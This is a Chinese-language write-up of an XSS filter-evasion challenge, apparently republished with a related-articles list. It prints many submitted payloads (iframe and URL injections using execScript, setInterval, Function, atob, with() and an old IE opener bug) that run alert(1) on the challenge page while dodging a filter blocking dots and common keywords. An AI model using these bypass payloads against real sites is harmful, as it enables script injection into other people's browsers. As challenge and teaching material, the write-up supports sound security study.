XSS挑戰第二期 Writeup
0x00前言
之前搞了一期感覺反響挺好的,就又搞了一期。不過說實話稽核起來很吃力,因為大家的答案都太給力了。所以在接下來的解釋文當中如果出現錯誤,希望各位看官可以不吝指正。可能參與的人,都發現了這期的核心問題就是【沒有了”.”我們應該如何去XSS?】。如果有人有心去谷歌過這個問題,應該會在http://sla.ckers.org/forum/read.php?2,12964,12974這個連結裡,找到答案。
#!javascript
with(location)with(hash)eval(substring(1))
作者在指定的程式碼區域內,使用with來實現了透過節點名稱的物件呼叫。當然,如果問題只是這樣的話,我相信大家會有很多的方案。所以為了增加點難度,我在上次的過濾規則上又過濾一些比較常用的手段。
0x01設定
(1) 過濾了所有的
# \ < vbscript > ' 空格+on alert innerHTML document appenChild createElement src write String eval setTimeout unescape data javascript name ; window * 空格 TAB 0x0A 0x0C 0x0D prompt confirm MsgBox find print - vbs location / urldecode [ ] . 0x00 $ jQuery +
(2)過濾了第二個
" 和 =
可能有些規則和一般意義上的過濾程式碼有較大的出入,這個也是因為怕有人把這個遊戲理解成廉價的WAF測試。>.<
0x02結果
這次是上次挑戰的第一名/fd拿下了這次挑戰的First Blood。
#!html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<iframe src=http://techni.duapp.com/challenge/index.php?xss=%22onblur=`execScript(URL)`#
alert(1)></iframe>
這應該算是集合了很多IE特色的答案。用到了相容模式,來讓最新版的IE支援這個反引號的使用,提高了XSS程式碼的相容性也避免了因後面語句的修復所帶來的長度問題。還有就是這個execScript在我的理解當中應該是和eval()擁有幾乎相同的功能的一個IE特色方法。可能和eval最大的區別就是execScript的作用域非當前域,而是全域性作用域吧。然後就是這個#

可能一部分人不是特別熟悉,如果你有閱讀過ECMAscript規範,那麼你應該會發現除了0x0A/0x0D
以外U+2028/2029
也可以作為換行符來使用。
來自/fd的另一份答案:
#!html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<iframe src=http://techni.duapp.com/challenge/index.php?xss=%22onblur=execScript(URL)%0b#
alert(1)></iframe>
放棄了使用反引號,而使用0x0b進一步的縮減了一個字元。
來自Sogili的答案:
#!html
<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=setInterval(URL)%%26quot#
alert(1)"></iframe>
<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=`setInterval(URL)`#
alert(1)"></iframe>
<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut%3D%60Function%28URL%29%28%29%60#
alert(1)"></iframe>
Sogili在第一個答案中選擇了使用%+"的方式保證了後面語句的正確性。當然如果沒有特殊限制,還有一些其它的邏輯運算子可以起到相同的作用(加減乘除和一些其它的符號)。然後就是這個setIterval函式,總體來說可能和setTimeout會有點相似。大的區別就在於eval會在指定的時間過後執行一次相對應的字串的內容。而setIterval會在每經過設定的時間後都執行一次相對應的字串。和/fd不同的是選擇了

來代替空白字元,最後巧妙地使用Function(URL)()(新建匿名函式並執行它的方式)完成了挑戰。(看了幾次沒看懂,最後請教了一下二哥= =)
來自gainover的答案:
#!html
<script>
location.href='http://techni.duapp.com/challenge/index.php?xss="onblur=Function(URL)()%%26quot#\u2028alert(1)';
</script>
<script>
location.href='http://techni.duapp.com/challenge/index.php?xss="oncut=Function(URL)%%26quot#\u20281},alert(1),{';
</script> //測試於chrome26
和Sogili的最後一個答案大相徑庭。
來自Retaker非常水的答案:
http://techni.duapp.com/challenge/index.php?xss=%22oncut%3DsetInterval%28value%29%2C%26quot
有人說這個和自己在位址列輸入javascript:alert(1)
也差不多了。其實包括提交者和我也這麼認為。但是因為參與的人實在太少了,就算上了。不過有另外一個同學很巧秒的利用了這個value。
來自8qwe24657913的答案:
http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoKzEp%22oncut%3Dnew%28Function%29%28atob%28value%29%29%28%29%2C%26quot
http://techni.duapp.com/challenge/index.php?xss=al%2565rt%283%265%29%22oncut%3Dnew%28Function%29%28decodeURI%28value%29%29%28%29%2C%26quot)
http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoKzEp%22oncut%3DsetInterval%28atob%28value%29%29%2C%26quot
http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoMSk%22oncut%3DsetInterval%28atob%28value%29%29%2C%26quot
<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=execScript(opener),%26quot" onload="contentWindow.opener='alert(1)'"></iframe> //
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)execScript(slice(96)),%26quot#alert(1)
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)setInterval(slice(97)),%26quot#alert(1)
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)with(top)open(slice(0x65)),%26quot#javascript:opener.alert(1)
http://techni.duapp.com/challenge/index.php?xss=afterEnd%22oncut%3DinsertAdjacentHTML%28value%2CURL%29%2C%26quot#<img/src=1 onerror=alert(1)>
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)with(top)open(slice(0x65)),%26quot#javascript:opener.alert(1)
http://techni.duapp.com/challenge/index.php?xss=al%2565rt%283%265%29%22oncut%3DsetInterval%28decodeURI%28value%29%29%2C%26quot
http://techni.duapp.com/challenge/index.php?xss=al0ert%283%265%29%22oncut%3Dwith%28value%29setInterval%28replace%280%2Cid%29%29%2C%26quot
http://techni.duapp.com/challenge/index.php?xss=oncutYWxlcnQoMSk%22oncut%3Dwith%28value%29setAttribute%28slice%280%2C5%29%2Catob%28slice%285%29%29%2C%26quot
其中的一個答案用到了一個很老的IE Opener BUG。還有一個小亮點就是,多處用到了xss攻擊中出場率不是很高的base64解碼函式atob()。由於提交的答案實在是太多,我就不一一解釋了,感興趣的同學可以自己親手試一下。
來自StarMoon的答案:
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)execScript(slice(98))%25%26quot#alert(1)
很中規中矩的答案,用with避免了”.”的使用,透過execScript來執行URL.slice(98)也就是#後面的alert(1)。
來自Dun的答案:
http://techni.duapp.com/challenge/index.php?xss="oncut%3DsetInterval%28decodeURI%28%26quot%2520aler%2574%28%29%26quot%29%29%7C%26quot
結合setInterval和decodeURI執行了部分二次URL編碼後的alert(),最後再用|"
修復了後面語句的正確性,完成了挑戰。
0x03 寫在最後
因為個人水平有限,可能挑戰的內容做的不是很好。和實際場景相比有一些出入。如果你覺得這些答案都很有趣並想對上面的方法進行測試,可能需要你付出一點點的耐心。因為,所使用的瀏覽器的不同,版本的不同,系統補丁的不同等緣故可能會有無法重現的情況發生。
附上此次比賽的原始碼:XSSC2.zip
相關文章
- xss挑戰賽writeup2020-08-19
- 無聲杯 xss 挑戰賽 writeup2020-08-19
- XSS挑戰第一期Writeup2020-08-19
- 第五季極客大挑戰writeup2020-08-19
- 極客大挑戰2023-pwn-nc_pwntools WriteUp2024-09-28
- XSS挑戰之旅(通過看程式碼解題)2020-05-15
- 楚穎i2024polarctf夏季個人挑戰賽WriteUp2024-06-01
- 【極客大挑戰2023】- Re -點選就送的逆向題 WriteUp2024-10-04
- 三個白帽挑戰之我是李雷雷我在尋找韓梅梅系列3——writeup2020-08-19
- 大獎等你來拿!HMS Core線上Codelabs挑戰賽第二期開始2021-10-09
- 挑戰密室2018-08-09
- 挑戰系統 / 進入區域挑戰怪物2024-09-13
- SSCTF Writeup2020-08-19
- JCTF Writeup2020-08-19
- BCTF Writeup2020-08-19
- HarmonyOS線上Codelabs系列挑戰賽第二期:呼叫三方庫,製作酷炫的視覺效果2022-11-14視覺
- AI的道德挑戰2018-05-29AI
- 長安“戰疫”網路安全衛士守護賽writeup2022-01-08
- XSS Attacks - Exploiting XSS Filter2020-08-19Filter
- HCTF writeup(web)2020-08-19Web
- wargame narnia writeup2020-08-19GAM
- 太湖杯writeup2020-11-22
- ARTS 挑戰(第三週)2019-04-15
- ARTS 挑戰(第二週)2019-03-31
- [譯] 挑戰 Flutter 之 Twitter2018-08-12Flutter
- Wanafly挑戰賽25 A因子2018-09-29
- [譯] 挑戰 Flutter 之 WhatsApp2018-08-13FlutterAPP
- 守衛者的挑戰2024-05-27
- 每天都在挑戰極限...2024-04-18
- 獨立開發挑戰2020-06-01
- 牛客挑戰賽582022-03-21
- Alictf2014 Writeup2020-08-19TF2
- Wargama-leviathan Writeup2020-08-19GAM
- 0ctf writeup2020-08-19
- 360hackgame writeup2020-08-19GAM
- 迎接人生更大的挑戰2018-10-14
- 從今天開始挑戰 LeetCode2018-06-22LeetCode
- tcpv4 checksum 挑戰下2018-08-08TCP